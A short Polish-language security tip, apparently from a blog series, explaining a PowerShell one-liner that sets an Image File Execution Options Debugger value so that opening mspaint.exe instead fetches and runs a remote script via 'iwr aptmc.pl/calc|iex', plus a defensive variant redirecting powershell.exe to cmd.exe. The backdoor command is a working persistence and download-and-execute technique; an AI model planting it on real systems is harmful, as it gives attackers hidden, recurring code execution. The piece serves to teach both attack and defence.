ni -f "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" | sp -name Debugger -Value "powershell -c iwr aptmc.pl/calc|iex #" - dodaj backdoor uruchamiany zamiast startu MS Painta
Nasz dzisiejszy oneliner wykorzystuje alias ni oraz sp, które za pomocą Get-Alias możemy łatwo rozwinąć:
PS C:\Users\drg> Get-Alias ni,sp
CommandType Name Version Source
----------- ---- ------- ------
Alias ni -> New-Item
Alias sp -> Set-ItemProperty
by stworzyć klucz HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe jeśli nie istnieje ( New-Item -Force), by następnie dodać wartość o nazwie Debugger (za pomocą Set-ItemProperty) definiującą nasz backdoor, który zostanie uruchomiony w momencie, kiedy ktoś uruchomi aplikację mspaint.exe. Nasz backdoor to nic innego jak uruchomienie skryptu znajdującego się pod adresem aptmc.pl/calc, który nie robi nic wielkiego poza uruchomieniem kalkulatora.
Więcej informacji o tym mechaniźmie było poruszane w protipie /pl/0008, który był onelinerem pokazującym czy tego typu wpisy mamy zdefiniowane.
A coś dla niebieskich?
A czy dla Blue Teamów to też może być przydatne? No pewnie, oneliner poniżej spowoduje, że kiedy ktoś będzie chciał uruchomić powershell.exe, uruchomi mu się zamiast tego cmd.exe, a więc standardowo uruchamiany malware napisany w Powershellu się nie uruchomi:
New-Item -Force "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe" | Set-ItemProperty -Name Debugger -Value "cmd.exe"
Oczywiście nie jest to zupełnie mądry pomysł, natomiast jest to jeden z ciekawych sposobów, jak możemy zablokowoać uruchamianie programów o danej nazwie (np. setup.exe). A zamiast wskazywanie na cmd..exe możemy wskazać na własny program raportujący to wydarzenie, lub chociażby prosty skrypt Powershella, który tego dokona.